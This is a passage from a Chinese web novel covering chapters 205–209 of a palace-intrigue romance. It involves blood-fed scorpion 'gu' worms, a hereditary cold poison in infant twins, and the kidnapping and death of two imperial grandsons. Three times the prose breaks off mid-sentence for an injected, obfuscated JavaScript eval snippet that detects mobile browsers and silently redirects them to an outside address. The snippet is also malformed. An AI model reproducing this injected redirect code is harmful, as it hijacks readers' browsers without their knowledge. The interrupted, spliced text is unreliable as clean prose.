算起来凌玄礼在都城住了差不多两年了,温若初也好奇为何凌玄礼迟迟不折返上京,难不成还有别的事。 温若初想凌玄礼什么时候走,又感觉这话像是在撵人家,不大礼貌,正犹豫如何开口,凌玄礼似乎是猜中了她心中所想。 “等谨之登基大典结束,我就回上京。”凌玄礼说道。 温若初客套一句,“如此也好,这几日我准备些礼物,凌大人走的时候带回去。” 凌玄礼笑着说好,闲话几句,离开。 凌玄礼从荣王府出来,登上马车,撩起马车窗帘瞅了一眼荣王府匾额,眼底闪过一抹志在必得的光。 温若初你早晚都是要回大虞的,沈惊澜能给你的,我也能给。 凌玄礼走后没多久,沈惊澜派了礼部的人,去荣王府让温若初提前准备,这几日搬去皇宫。 七日后新皇登基大典,同一日册立皇后,接受文武百官朝拜。 温若初吩咐人收拾东西,过几日搬皇宫里去。 “老皇帝”下的是退位诏书,不是驾崩,皇宫里的那些宫妃需要安置,各宫各殿需要收拾出来。 趁这个空档,温若初也收拾自家东西,她自己的东西不多,几箱衣裳和首饰,主要是两个小公子的东西。 孩子的东西都是一些吃喝拉撒用的,沈惊澜还没回来,除了两只兔子,常看的一些书籍都是孤本一定要带走的。 从搬到这座府邸,温若初就没让人收拾过书房,这下要搬去皇宫,也不用收拾了,直接命人整理出来,都带走。 月儿手脚麻利整理书房里的书籍,随口说道。 “算起来咱们都四次家了,这回应该是最后一次搬家了。” 秋菊附和,“那当然,咱们院里的姑爷做了皇帝,公主就是皇后,雍国皇宫咱们想住哪就住哪,终于不用仰人鼻息,看人脸色了。” 温若初听着两个丫头说笑打趣,随意翻看桌案上书籍,听见月儿那边好奇地咦了一声。 “这是什么?” 温若初抬眼看了过去,靠墙摆放的书阁,书阁里整齐码放一些书籍,还有花瓶,古董青铜器,在一个不起眼的小阁子里放着一个看起来很普通的檀木小盒子。 “拿下来看看,里面若是没用的东西就直接丢掉。” 他们搬走了,这座府邸是要留人照看的,到底不能像他们住在这里,这样事无巨细,肯定有疏漏的地方,书房若是看管不当,容易招蠹虫啃食书籍,能收拾到的地方,尽量都收拾了。 这章没有结束,请点击下一页继续阅读!木盒子放置的地方有些高,让人搬来梯子,月入取下盒子,伸手打算交给温若初的时候,身子僵在原地,脸色瞬间煞白。 “怎么了?”温若初问。 月儿双手端着盒子,求助地看向温若初。好像这样一个平平无奇的盒子里有什么可怕的东西,一动不敢动,说话都直哆嗦。 “公……公主,盒子里的东西好像能动。” 能动? 温若初也有点害怕,犹豫一瞬还是把盒子接了过来,接到手里的瞬间,如月儿所说,盒子里的东西确实能动。 温若初能明显感觉到盒子里有东西在蠕动,甚至能听到蠕动摩擦时发出的轻微的沙沙声响,一股淡淡的血腥味钻进她的鼻腔。 转身就把盒子放在桌案上,温若初定了定心神,壮着胆子打开盒子。 看清盒子里的东西,温若初下意识后退几步,头皮发麻,起了一身鸡皮疙瘩。 只见盒子里数十条手指长短的毒蝎子,蝎尾毒钩泛着幽蓝寒光,密密麻麻的步足正簌簌摩擦盒壁,发出细碎如砂纸打磨的声响。 盒子底部铺着一层血棉,那些蝎子似乎离不开血棉,螯钳开合攀上盒壁,又悻悻收了回去。 温若初撞翻身后的檀木椅,后背紧贴冰凉的青砖墙。 两个小丫鬟立马保护在她身前,声音颤抖着问。 “那是什么?” 温若初一脸警惕地盯着盒子里的毒蝎子。 “蛊虫。” 沈惊澜在背着她饲养蛊虫。 喜欢质子摇身变帝王,诱哄我做正宫娘娘请大家收藏:()质子摇身变帝王,诱哄我做正宫娘娘更新速度全网最快。 第205章 来一盘麻辣蝎子 一个时辰后,一小盒毒蝎子出现在御书房的桌案上。 旁边摆放着碗筷,和几碟子小菜。 沈惊澜端着饭碗兴致勃勃还僵在脸上,怔愣里看着盒子里的毒蝎子。 温若初端坐在椅子里,在书房发现了毒蝎子,她便把这些毒蝎子收了起来,正好厨房烹煮好了饭菜,用食盒顺便带来了。 “不打算给我一个说法?” 温若初下巴点了点盒子里喂得油光锃亮的毒蝎子。 沈惊澜墨黑浓长的睫毛下耷,端着饭碗不吭声,有点死鸭子嘴硬死不承认的意思。 顿了顿开口解释,“前几日认识了几个西域商人,他们用蝎子做成麻辣蝎子,味道鲜香麻辣,你喜欢吃麻辣兔头,应该很喜欢这道菜,我让人抓了几只蝎子,饲养家中,想着过几日也让厨娘给你做一道麻辣蝎子,让你尝尝鲜。” 最近都城酒楼里确实新增了一道麻辣蝎子的菜,沈惊澜很擅长掩饰,说得也是一脸的认真。 但凡稍微傻白甜一点就被沈惊澜蒙混过去了。 “麻辣蝎子?” 温若初都快气笑了,她又不是傻白甜,也不是三岁小孩,真当她好骗。 盒子底下垫的棉花,就是人血。 温若初阴阳怪气,“用人血饲养的毒蝎子,味道应该不怎么样?我口味没那么重。” 似乎没料到温若初直接戳破他拙劣谎言,沈惊澜怔愣抬头,很意外地看她。 温若初接着说道:“相传寒族皇室擅长巫蛊之术,这些毒蝎子是你养的蛊虫。” 娇俏的眼底,满是探究。 “你养蛊虫做什么?” “我……” 沈惊澜晦暗幽深的眸子闪过几分愧疚和心虚,紧紧握着筷子,眼眶微红地看着她,似有难言之隐,张了张嘴,最后也没说什么。 温若初是个急脾气,隐隐猜到这些毒蝎子是用沈惊澜的血饲养的,一直想不通沈惊澜饲养这些东西的目的。 只是直觉沈惊澜瞒了她很重要的事。 沈惊澜越是遮遮掩掩不说,她越是心急。 起身拿起盒子,作势要往地上摔。 “你不说我就摔了,反正就是一盘菜,少吃点也无妨。” “你别。” 沈惊澜起身单手接过温若初高高举过头顶的木盒子,生怕伤到里面的蝎子似的,动作小心翼翼地放到桌子上。 “这几只蛊虫能救轩儿和煜儿的命。” 两个孩子都能扶着东西站起来了,偶尔还能蹦出来一两句“爹”“娘”,养得白白胖胖,能吃能睡的,瞧着健康着呢,隔三岔五还让古叔请平安脉,一直身子无恙,连感染风寒发烧一类的小毛病都没有。 怎么突然之间就要用这些毒蝎子救两个孩子的命了? 温如初一脸不解地看着沈惊澜。 “救……救什么命?” 沈惊澜眼眶通红,直视温若初,眼底满是不加掩饰的愧疚。 “是我对不住你和孩子,我身上的寒毒是我母妃种在我身体里的,毒不死人,月圆之夜能让人生不如死,毒发过后身体虚弱,身子刚刚缓过来,就到一个月圆之夜毒发,周而复始。” “体内被种了寒毒,寻常人能活十年,身体强健的人能活二十年。” 温若初心里默默算了一下,沈惊澜大概三四岁的时候被寒妃种了寒毒,沈惊澜今年二十三岁,书中沈惊澜登基之后暴毙,难不成就是因为寒毒? 她心里忽然有些慌了神,紧紧抓住沈惊澜的手,不舍地看着沈惊澜。 “你……”快死了。 眼圈里没出息地蓄了一层温热泪水。 沈惊澜拉着温若初坐在椅子里,抬手用指腹揩去她眼底的泪水。 “我本以为寒毒无解……” 长长叹了一口气,欲言又止道,“……没想到渡到了两个孩子身上……” 两个孩子从出生之后有了寒毒,只是孩子太小,表现的不明显,是沈惊澜怕温若初担心,让古叔他们故意瞒着。 起初用药物维持,让乳娘吃下汤药,化为乳汁喂给孩子,尚能勉强维持。 等孩子满周岁,寒毒症状逐渐显现出来,单纯靠药物不能维持,孩子越大越痛苦。 沈惊澜的母亲虽然是寒族公主,寒妃却没有把巫蛊之术传给沈惊澜。 沈惊澜遍寻古籍,终于找到了能暂时压制寒毒的方法,就是用自己的心头血饲养蛊虫。 然后用这些蛊虫入药,他已经养了几批蛊虫,可那些蛊虫还没养到日子就死了。 养在书房的这些蛊虫是活得最久的,等百日过后就可以入药了。 不能完全解了两个孩子的寒毒,至少两个孩子不用承受万锥穿心的痛苦。 其实还有一个压制寒毒的办法,就是和心爱的女子交合,两个孩子不满周岁,这个法子行不通。 沈惊澜只能不断地尝试饲养蛊虫,试图为两个孩子压制住寒毒。 温若初鼻子有些发酸,一把扯开沈惊澜衣襟,宽阔的胸膛上贴着一大块渗血纱布,纱布周围整齐刀口密布,新伤叠旧伤。 这章没有结束,请点击下一页继续阅读!难怪最近总感觉沈惊澜和小辛总是鬼鬼祟祟的,感觉有事情瞒着她。生完孩子之后沈惊澜一直推脱拒绝和她同房,还经常能在沈惊澜身上闻到一股淡淡的血腥味。 原来沈惊澜在偷偷地用自己的血养蛊虫。 她舍不得两个孩子,也心疼沈惊澜。 她轻轻触摸沈惊澜的新旧刀伤,她的心里好像被人塞了一团浸了冰水的棉花,上不去下不来,堵得心里难受,眼底眼泪,大颗大颗往下掉。 “你……” 沈惊澜掏出帕子,略显笨拙地给温若初擦眼泪,向来无波无澜的俊脸上,此时看着温若初流泪,竟闪过几分无错和慌乱。 温若初对两个孩子的用心程度,他都看在眼里,两个孩子娇憨可爱,聪明伶俐,尤其是最近含糊不清地念叨“爹”“娘”他也很是喜欢。 他愧疚又自责,“我真的不是故意的,我不知道寒毒能渡到孩子身上,我若是知道,我……” 温若初并不是埋怨沈惊澜把寒毒渡给了孩子,而是怨沈惊澜不早告知她。 “你有多少血够养这些东西?” 她瞅了一眼木盒子,盒子盖子已经合上了,里面蝎子相互摩擦发出的沙沙声响尤其明显。 “你就能保证这一批的蛊虫一定能成功?” 接连抛出了两个问题,沈惊澜不说话了,他也没有十足的把握保证批蛊虫就一定能成功。 若是能找到擅长巫蛊之术的人,说不定能解了两个孩子体内寒毒。 寒族皇室擅长巫蛊之术,可如今寒族灭国,温若初认识的寒族皇室后裔只有沈惊澜,还是个不通巫蛊之术的。 寒族人难找,寒族皇室会巫蛊之术的人更难找。 温若初突然想到前阵子去小玉绣庄,小玉说找了一个婆家是寒族人。 温若初脑海中灵光闪过,或许真的还有一两个寒族皇室存活于世。 她记得当初在大虞,莫易宇的姘头,也就是那个雍国细作水仙,上官当着女皇的面就是利用巫蛊之术审问出水仙的真实身份。 再后来,上官利用巫蛊之术,意欲操控谋杀女皇,也是使用巫蛊之术。 前阵子伍六七说四皇子沈雨霁曾经接触过上官,温若初也让凌玄礼去追查上官行踪,只可惜这个上官是个难对付的,折腾了半个月一无所获。 温若初眸底闪过一丝天无绝人之路的光芒。 口中喃喃:“上官。” 喜欢质子摇身变帝王,诱哄我做正宫娘娘请大家收藏:()质子摇身变帝王,诱哄我做正宫娘娘更新速度全网最快。 第206章 萧蔷上门要孩子 温若初把小玉找了一个寒族婆家的事和沈惊澜说了,还说了对上官的猜测。 上苍垂帘,说不定这个上官能救两个孩子的命,沈惊澜就不用用自己的血去饲养蛊虫,一遍遍地试错。 沈惊澜面色凝重,两道剑眉的眉头蹙得很深,沉吟半晌,揽过温若初,额头低着额头。 “你和孩子是我的全部,我向你保证,两个孩子不会有任何事,就算倾全国之力,遍寻天下名医,我也会让人医好两个孩子。” 温若初点点头,“好。” 沈惊澜叫了小辛进来,“张贴海捕文书,加派人手搜寻上官,有发现上官踪迹,立即捉拿回来。” “是,属下这就去办。”小辛抱拳道。 “等等。” 温若初叫住小辛,提醒道。 “上官行踪不定,大肆搜捕恐打草惊蛇,上官和沈雨霁暗中有勾结,我已经让伍六七去跟踪了,你找些人,兵分两路,一路去支援伍六七,一路暗中搜寻上官下落。” 雷厉风行地吩咐完小辛,小辛却有些愣神,看向温若初的目光都染上了几分敬佩服从之色。 沈惊澜见小辛不动地方,反而盯着温若初看,厉声呵斥。 “还不快去!” 小辛赶紧收回视线。 “是。” 沈惊澜说为她准备的凤仪宫收拾出来了,今日就可以住进去。 温若初以府上还有一些东西没收拾为理由,拒绝了。 接触过上官两次,不知为何,温若初直觉,上官对她有一种恨意,恨不得弄死她的那种。 她的存在或许能引上官现身。 到底是今时不同往日,温若初身份不同了,回去的时候,加了几十个暗卫。 温若初回荣王府的时候,门口坐着一个身穿粗布衣衫妇人,发髻散乱,浑身上下脏污不堪,鞋上粘着不知名的黄绿色液体。 几个护院小厮厉声驱赶,那妇大声叫嚷着。 “我要我的孩子,你们把我的孩子还给我。” 温若初走下马车,让秋菊去问怎么回事。 秋菊应了一声,还没走过去,那妇人朝这边看了过来,瞧见温若初,疯魔一般张牙舞爪扑了过来。 不知从哪里窜出来五六个身穿玄色劲装暗卫,挡在疯妇人面前,长刀出鞘刀刃闪着雪亮寒光。 疯妇人惧怕地后退两步,膝盖一软跪下。 “皇后娘娘,求您把桓儿和烁儿还给我吧,他们只是孩子,对皇后和陛下不会造成任何威胁,又何必赶尽杀绝……” 听这疯妇人哭诉的声音,温若初才知道这人是太子妃娘娘萧蔷,从前的萧蔷是何等风光,如今弄得灰头土脸的,像大街上讨饭的难民。 沈星驰在昭陵伏诛之后,萧蔷和两个孩子便没了踪迹。 后来听底下的人禀告说,沈星驰死的当天,萧蔷就收拾细软,带着沈桓和沈烁逃走了。 没腾出手来搭理他们,萧蔷反倒送上门了。 只是萧蔷没用,沈桓和沈烁才是潜在威胁。 不知道这个萧蔷领着沈桓和沈烁逃走,是如何把沈桓和沈烁弄丢的,温若初也不想知道。 自己的孩子都顾不过来,哪有多余的精力去管别人的孩子。 抬手让暗卫退下,睨了一眼萧蔷。 “你的孩子不在我手上,你找地方了。” “不可能。” 萧蔷慌了神,跪行到温若初面前,抓住她的裙摆。 “掳走桓儿和烁儿的是一伙黑衣人,除了你们,还会有谁?大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707776|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家都是做母亲的,以前是我不会,我向你道歉,我给你磕头赔罪,桓儿和烁儿是我的命,我什么都没有了,只剩下他们了,求求你把他们还给我。” 萧蔷跪在地上哐哐磕头,额头磕在青石地面上,没一会就鲜血直流,血肉模糊。 温若初没心情欣赏萧蔷狼狈的惨样子。 萧蔷说沈桓和沈烁是被黑衣人掳走的…… 沈桓和沈烁是沈星驰的孩子,老皇帝废了沈星驰的太子,却没废除沈桓皇长孙的称号。 温若初吩咐秋菊,“给她个房间,派人看着。” “是。” “走开,走开,我要我的孩子……” 萧蔷奋力挣扎不让人靠近。 “我帮你找。” 温若初不是为了帮萧蔷找孩子。 书中沈惊澜登上皇位,突然暴毙之后,承袭沈惊澜皇位的是沈星驰的长子沈桓。 如今沈惊澜身上的寒毒已去,应该是避免的暴毙的就结局,沈惊澜也有自己的子嗣,八竿子轮不上沈桓。 斩草要除根,就算是不杀沈桓,也要把那个小崽子关押起来,在自己的掌控之下,不能让旁人钻了空子。 萧蔷不挣扎了,感激涕零地又给温若初磕了好几个响头,由着几个粗使婆子,动作粗暴地拽走。 料理完萧蔷,温若初当即让人进宫找沈惊澜讨一道圣旨。 用巡防营和禁军找沈桓和沈烁,顺便搜寻上官踪迹。 沈惊澜还没正式即位,她严格来说不是皇后,手上没有册宝,不能行使皇后权力。 经过两日的大肆搜捕,没找到上官,倒是真的发现了沈桓和沈烁,只是这两个孩子命中有此一劫,巡防营的人找到沈桓和沈烁的时候,已经没了生气。 第207章 ** 都城一不起眼废弃小院子内,墙角靠着两个孩子,身上均被麻绳捆绑。大的十几岁,小的四五岁,两个孩子的脑袋被黑色口袋罩着。 或许是嘴里被塞了东西,两个孩子嘴里发出痛苦的“呜呜”声。 四皇子妃张氏站在旁边看了一会,看着墙角身量稍微大一些的孩子,眼底满是对大仇得报的得意,以及对权利的渴望。 盯着看了一会,吩咐站在一边黑衣**。 “快帮两位小皇孙松绑。” 沈桓和沈烁头上的黑袋子被人拿走,嘴里塞着脏污的抹布,黑衣**欲解开两个孩子身上绳子,四皇子妃张氏不知道想到了什么,忽然抬手制止住。 “先不急。” 沈桓年纪稍长,心性也成熟,一脸怒意地瞪着四皇子妃张氏。 沈烁不过四五岁,身躯娇小,嘴巴被破布塞得鼓鼓的,满脸泪痕,一脸惧色。 四皇子妃张氏蹲在两人面前,面上满是长辈对晚辈的慈爱和焦急。 “桓儿,烁儿,你们没事吧?你们可千万别出声,四皇婶好不容易把你们两个从沈惊澜和温若初手里救了出来,你们若是出声喊叫,招来了巡防营和禁军,四皇婶可保证不了你们的安全。” “记住了,不可以出声哦!”温柔的语气,警告两个孩子。 沈桓点点头。 “真乖。” 四皇子妃张氏亲自解开沈桓和沈烁身上的绳子,擦了擦眼泪一脸哀切。 “你们两个也是命苦,你们可是天潢贵胄,却被沈惊澜和温若初害得沦落至如此田地,你们是有血性的男子汉,你们要为太子殿下报仇,夺回属于你们的一切,可不能让你们的父亲九泉之下寒心。” 沈桓赶紧把沈烁护在怀里,一脸怒容地盯着四皇子妃张氏。 “你少在这假惺惺,你和四皇叔什么心思,我知道,不就是想撺掇我做皇帝,利用我扳倒沈惊澜,然后处处受制于你们,听你们的摆布。” 瞅了一眼站在一边的黑衣**,虽然此人身手了得,一掌就把他拍晕了,沈桓失去意识之前,记得清清楚楚,**他们的就是这个人。 沈惊澜利用卑鄙手段杀了父亲,这个张氏也不是什么好东西。 张氏面对沈桓的警惕,眼底闪过一抹怨毒,萧蔷那种没脑子的生出的孩子怎么这么难对付。 故作委屈地抹了抹眼泪。 “你们可是冤枉我了,我是真心想帮你们报仇的啊,你们皇祖母那么疼你们,你们的父亲也死得冤啊,你们的皇祖父被沈惊澜软禁,等着你们去救呢。” 慈爱的视线落在沈桓身上,“只要你配合,同意当皇帝,我和你四皇叔保证,这个皇帝你爱怎么当就怎么当,绝不干涉。” 似乎是想套近乎,伸手就要去摸沈桓的脸,沈桓偏头避开了。 四皇子妃的手僵在半空,也不觉得尴尬,转而去碰沈烁。 “烁儿长得如此娇憨可爱,以后做四婶母的孩子好不好,四婶母疼你。” 沈烁娇小的身躯害怕地往沈桓怀里缩了缩。 “哥哥,我怕。” “不怕。” 沈桓紧紧抱着沈烁,眼珠子转了转。 “你把我母妃找来,我就信你。” 四皇子妃张氏嘴角抽了抽,那些废物**是死脑筋的,让抓两个孩子回来,真的就只是抓两个孩子回来,扔下了萧蔷。 人都抓回来了,让她去哪里找萧蔷? 张氏余光剜了一眼沈桓,小崽子事真多。 心有不满却也不敢得罪,沈桓可是小皇孙,名字还在皇室玉牒上,她后半辈子的荣华富贵还指望着他呢,等沈桓这个小崽子登基,扳倒了沈惊澜,四殿下做稳当了摄政王,再回头收拾沈桓这个小崽子不迟。 张氏笑得一脸慈爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707777|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,半蹲在沈桓面前。 “真是孝顺啊,好好好,我答应你。” 过几日就说萧蔷被温若初和沈惊澜弄**,左右沈桓也不知道。 四皇子妃见沈桓和沈烁年纪小,也算乖顺,没让人继续绑着两兄弟,只是让人把人看紧了,给了他们一些吃的,便离开了院子。 六七个黑衣**看守沈桓和沈烁。 趁着晌午吃饭,沈烁小声问沈桓。 “哥,我们要怎么办,娘亲说不让你做皇帝和沈惊澜对着干,你不会真的要听四婶母的话吧。” 沈桓坐在地上,吃着冷硬馒头,眼底狠厉闪过。 “沈惊澜杀了我们的父亲,我身为人子,不为父报仇,简直就是枉为人。” 沈烁一脸不解,小声道。 “可他们都说父亲罪有应得,九皇叔杀了父亲是……替天行道。” “谁说的?”沈桓低声呵斥,“父亲是天命太子,沈惊澜是窃国的贼,没听张氏说皇祖父被沈惊澜软禁了。” “他们若真的带母妃过来,我就假意顺从他们,我坐在皇位上,怎么当皇帝,不是他们说了算的。” 沈烁歪着脑袋,似懂非懂地点点头。 沈桓瞅了一眼正在吃饭的几个**,更低的声音对沈烁说道。 “四皇叔和沈惊澜一样,都不是什么好人,留在这里很危险,今天晚上等他们睡着,我帮你想办法逃出去,我若是真的做了皇帝,杀了沈惊澜,摆平四皇叔,我会派人去找你。” 沈烁眼泪在眼圈里打转,直直地看着沈桓。 “那你呢?他们若是知道你和他们不是一条心会杀了你的。” “我不用你管,我自有自保的法子,”沈桓嫌弃道,“你那么笨,又小短腿,跑得没人家快,你先走。” 沈烁瘪了瘪嘴,像是要哭,到底是没哭出来,定定点点头。 “嗯。” 第208章 **皇长孙 荣王府 自从得知沈轩和沈煜身染寒毒,温若初时常把两个孩子带在身边,现在他们可以无忧无虑玩耍,等到周岁之后,每个月圆之夜都要承受寒毒发作之苦。 随着年龄增加,寒毒症状愈发明显,也愈发痛苦,死不了活受罪,身子越来越弱。 若是没有解寒毒之法,大概活到二十岁,除非找一个心爱的姑娘,然后把寒毒继续渡到下一代。 感觉有一层厚重的乌云压在头顶,令人喘不过气。 正胡思乱想着,沈轩爬到她身边,温若初以为小家伙是来求抱抱,张开手臂,沈轩软乎乎的笨手笨脚地扶着她站里起来,高高举起小胖手,一颗硕大饱满的葡萄递到她面前。 “狼,吃。” 沈轩说话有些不清楚,温若初听懂了,沈轩说的是。 “娘,吃。” 温若初不爱吃葡萄,平常定是嫌弃地躲开,然后让奶娘把孩子抱走。 心底涌起一股酸涩,伸手接过沈轩递过来的葡萄,放进嘴里。 “轩儿乖,” 沈煜是弟弟,身形和沈轩差不多,双胞胎有样学样,也爬过来塞她嘴里一颗葡萄。 温若初抱着两个孩子,忍住眼底泪水,嘴里塞着葡萄,吸了吸鼻子。 心里暗暗发誓,在孩子满周岁之前,一定寻到解寒毒的法子。 门房的人来通传,“娘娘,伍六七求见。” 伍六七近些日子一直跟踪四皇子沈雨霁和四皇子妃张氏,沈雨霁曾经见过上官,温若初一心想着两个孩子身上的寒毒,以为伍六七回来,是发现上官踪迹了。 温若初让奶娘把两个孩子抱走。 “让伍六七进来。” 不多时,伍六七走了进来。 “启禀娘娘,沈桓和沈烁找到了,在城西顺德昉一家小院子里,另外沈雨霁和张氏最近几日和朝臣多有走动,属下怀疑沈雨霁想扶沈桓上位。” 没有上官踪迹的消息,温若初眼底闪过一丝失落,她孩子身上的寒毒没着落,萧蔷的孩子却找到了。 不用伍六七说,萧蔷那日找上门,说沈桓和沈烁被人掳走了,她便知道有人在打扶持沈桓为帝对付沈惊澜的主意, 她抬眼看向伍六七。 “带几个身手好的,去把沈桓和沈烁带过来。” “用不用……” 伍六七抬起手掌做了一个抹脖子的动作。 沈雨霁鼓动朝臣拥立沈桓为新君,无非是在怀疑老皇帝下的传位诏书真实性,怀疑沈惊澜挟持了老皇帝,各种言论沈惊澜皇位来之不正。 这个时候沈桓和沈烁若是死在他们手上,正好落了口舌。 留下他们的活口,软禁在自己眼皮子底下,比直接处死他们更能得民心。 “留活口。” 沈雨霁府邸 距离沈惊澜登基大典还有一日。 沈雨霁坐在太师椅里,漫不经心地咂了一口茶。 “明日我带沈桓进宫,六部和御史台,钦天监也都安排了人,沈惊澜只能和皇位无缘了,”顿了顿,轻蔑地笑了一声,“当皇帝也没什么好,让皇帝听自己的话才是真本事。” 张氏有些不放心地瞅了一眼沈雨霁。 “这两日我的眼皮子总跳,总觉得不会太顺利,咱们抓了沈桓和沈烁,联合朝臣打压沈惊澜,推举沈桓做皇帝,可父皇还在啊。” “到时候沈惊澜若是把父皇推出来,说皇位就是传给了沈惊澜,我们岂不是被动了。” 沈雨霁放下茶盏,嘴角勾起一抹志在必得的自信。 “这个不必担心,老皇帝早**,明日朝臣会力谏沈惊澜请出老皇帝,沈惊澜若是请出老皇帝,也是弄的尸体,可以让人当众查证,正好可以戳破沈惊澜的谎言。” “沈惊澜若是请不出,那老皇帝就是沈惊澜杀的,文武百官会认为退位诏书也是假的,咱们就趁机推沈桓出来。” “沈惊澜千不该万不该娶了温若初,温若初的外祖姑母可是大虞女皇,女人做皇帝本就遭世人诟病,朝中百官私下多有议论,雍国江山大权旁落。” “还有人一心想要温若初的命,温若初是逃不过的……” 沈雨霁想起沈星驰死时的样子,上官能做到利用巫蛊之术,百丈之内**于无形,更坚信自己的计划天衣无缝,万无一失。 到时候他做了权倾朝野的摄政王,只需要划分出一半国土送给上官就可以了。 他没有母族支持,自幼刻苦学习,饱读诗书,不知道写了多少治国救民的文章策略,却始终得不到重视,他可是老皇帝的亲儿子,堂堂皇子,出入东宫,连沈星驰养的狗他都给笑脸相迎,凭什么! 如今上官愿意帮他,他的一身本领,他的那些治国救民的**主张,终于要实现了。 做法有些上不得台面,可他是为了雍国,为了百姓。沈雨霁觉得割让国土,扳倒沈惊澜是一件无比正确的事。 甚至有些兴奋,连血液都隐隐沸腾起来,沈雨霁压制着情绪。 “不管沈惊澜明日如何挣扎,都是死路一条。” 张氏顺着沈雨霁思路,仿佛看到了她头戴凤冠,做皇太后的日子。 沈雨霁接着道:“此前关键是让沈桓配合我们,沈桓那边怎么样了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713928|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张氏收回做皇太后的美梦,悻悻道。 “还是老样子,那孩子是真倔,非要见萧蔷,我说萧蔷温若初和沈惊澜杀了都不行,活要见人,死要见尸,吵吵嚷嚷的,我怕招来巡防营和禁军,让人把他们的嘴堵上了。” “嘴堵上了?” 沈雨霁脸色不悦,声音陡然抬高, “我们翻身就指望着沈桓了,可别憋**。” 张氏愣了愣,昨晚那两个孩子大喊大叫的,没顾上别的,让人堵住了他们的嘴,还暗示那些**教训教训两个孩子,省着他们不听话。 那些**下手没轻没重的,她也不确定两个孩子在那些**手下能不能活。 张氏脸色煞白,不敢说暗示**教训两个孩子的事,底气不足。 “不能吧?” 沈雨霁站起身,狠狠剜了一眼张氏,大步朝外走。 “去看看。” 张氏小跑跟在沈雨霁身后。 半个时辰后,沈雨霁让人推开关押沈桓和沈烁小院子的大门。 大门推开,他傻眼了,一股浓重血腥味扑面而来。 只见院子中间停放数十具尸首,其中一具尸首身量较小,盖着白布,放在一边,明显身份不同寻常。 一身穿铠甲身形威武的人,从屋里走了出来。 沈雨霁稳了稳心神,故作镇定,看着朝他走过来的人,诧异道。 “魏将军,你怎么在这?这是哪?怎么这么多尸体?” 魏玮在沈雨霁面前站定,一身杀伐之气,金色铠甲上还沾着未干涸的血迹。 “四殿下,末将奉陛下之命,在此恭候四殿下多时了。” 沈雨霁扯了扯僵硬的嘴角。 “什……什么意思?” 魏玮瞅了一眼地上盖着白布的尸首。 “四殿下买通江湖**,谋害前皇长孙,其罪当诛,跟末将走一趟大理寺吧。” “沈桓**?” 沈雨霁大惊失色,瞪大眼睛一脸不可置信地瞅了一眼地上盖着白布的尸首,又睃了一眼横七竖八死在地上的黑衣**。 “不是我杀的,你有什么证据是我杀的前皇长孙?大胆魏玮,胆敢污蔑我?我这就去陛下面前告你的御状。” 说着拉着张氏就往出走,回头瞧见一人堵住了路。 站在门口的人身穿银色铠甲,手里提着一把短刀,唇红齿白的,瞧着年纪不大,一个人站在那,威风凛凛,却有千军万马之势。 小辛握着短刀,看着惊慌失措的沈雨霁,正色道。 “四殿下,陛下说你去大理寺等着就行,有时间他会去大理寺天牢见你。” 第209章 大虞女皇的旨意,取而代之 一个时辰前伍六七去找小辛,说是温若初让增派人手去抓沈桓和沈烁,凑巧禁军也得到了沈桓和沈烁的消息。 于是小辛带着天机阁的兄弟和禁军统领魏玮,一起来关押沈桓和沈烁的院子,前后伏击,里面的**留下一个活口指证,剩下的都**。 等他们处理完**,找沈桓和沈烁的时候,沈桓的嘴里塞着抹布,身子都僵硬了,**有几个时辰了。 在这栋宅子外一条河里发现了沈烁,尸体已经被河水泡浮囊了。 沈桓的尸首留在院子里,沈烁的尸体还在河边,等着大理寺的人带走。 小辛视线越过沈雨霁和张氏,递给魏玮一个眼色,示意魏玮的人把沈雨霁和张氏带走。 “带走!” 魏玮一声令下,禁军过来押送沈雨霁和张氏。 “你杀了我的孩子,我要让你偿命!” 萧蔷穿着粗布衣裳,从人群里冲了出来,迅雷不及掩耳之势冲了过来,手里握着雪亮**,直直地扎在沈雨霁心脏。 萧蔷祖父是郎中出身,扎进沈雨霁心脏这一刀的力度又狠又准,速度极快,扎完沈雨霁扎张氏。 禁军上前制止,险些被萧蔷的**划伤,发了疯的女人力气大得很,真的是拼了命,禁军尝试几次,就不敢上前了。 小辛领着天机阁的人站着不动,也没有上前阻拦的意思。 沈雨霁蔫坏蔫坏,做了那么多坏事,死有余辜。 禁军上前阻止都受伤了,天机阁的人没必要去做无谓的流血。 萧蔷不知道挥了多少次**,累了,停下了,丢下**,推开禁军,扑倒院子里那具盖着白布的尸体旁。 痛苦哀嚎,“桓儿,我的桓儿——” 泪水和喷射在脸上的血水混在一起,一个失去丈夫和儿子的母亲,大声痛哭,任谁瞧见了都揪心。 